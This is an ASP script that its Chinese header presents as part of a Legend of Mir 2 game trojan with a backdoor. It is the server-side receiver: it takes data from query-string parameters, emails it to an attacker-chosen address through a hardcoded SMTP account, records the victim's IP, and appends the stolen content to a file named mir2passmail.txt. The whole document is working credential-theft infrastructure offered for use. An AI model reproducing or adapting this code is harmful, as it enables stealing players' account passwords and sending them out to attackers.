mir2.asp

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

<%

MailBody=trim(Request.querystring("MailBody"))
ToAddress=trim(Request.querystring("Tomail"))

if instr(1,MailBody,"*",1)=0 and instr(1,Mailbody,"*",1)=0 and instr(1,Mailbody,"#",1)=0 then mailbody=trim(Request.querystring("MailBody"))


function SendMail(ToAddress,subject,msg)
Dim Jmail
sender="[e-mail]"  '发送邮箱
Set Jmail=server.createobject("Jmail.Message")
Jmail.Charset = "GB2312"  '发送编码
jmail.ContentType ="text" '若要为htm格式,修改为:jmail.ContentType = "text/html" 
jmail.ISOEncodeHeaders ="False"
Jmail.Silent = true
Jmail.Priority = 3
Jmail.MailServerUserName = "clubmail"  '邮箱用户名
Jmail.MailServerPassword = "12345" '邮箱密码
Jmail.From = sender
Jmail.Subject = subject              
Jmail.AddRecipient  ToAddress
Jmail.Body=msg
Jmail.Send("smtp.tom.com")  'SMTP服务器
end function


'调用此Sub的例子
Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer
strSubject     = "传奇2木马邮件"
strToAddress = ToAddress
mailbody=Mailbody&"发信时间:"&date&" "&time&chr(13)+chr(10)&"发信人ip地址:"&request.servervariables("REMOTE_HOST")&chr(10)+chr(10)+chr(10)
strMsg = mailbody
Call SendMail (strToAddress,strSubject,strMsg)

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\mir2passmail.txt",8,true,0)
ff.writeline("收信人:"&ToAddress&"时间:"&date&" "&time&chr(13)+chr(10))
ff.writeline("信件内容:"&chr(13)&chr(10)&MailBody)
ff.close


%>